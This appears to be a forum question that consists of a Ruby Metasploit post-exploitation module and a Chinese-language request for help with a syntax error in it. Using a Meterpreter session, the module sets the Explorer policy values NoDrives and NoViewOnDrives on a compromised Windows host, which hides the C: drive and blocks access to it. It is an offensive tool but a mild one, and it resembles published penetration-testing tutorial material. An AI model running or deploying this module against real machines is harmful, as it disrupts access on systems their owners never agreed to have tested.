require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
def initialize
super(
'Name' => 'Driver Disabler Module',
'Description' => 'C Driver Disabler Module',
'Author' => 'Nipun Jaswal',
'License' =>MSF_LICENSE
)
end
def run
key1="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\"
print_line("Disabling C Drive")
meterpreter_registry_setvaldata(key1,'NoDrives','4','REG_DWORD')
print_line("Setting No Drives For C")
meterpreter_registry_setvaldata(key1,'NoViewOnDrives','4','REG_DWORD')
print_line("Removing View On The Drive")
print_line("Disabled C Drive")
end
end #class
以下是我遇到的错误:
在super()之后的第14行中出现语法错误,意外的输入结束,期待keyword_end
错误
任何人都可以帮我解决这个问题吗?它是一个metasploit脚本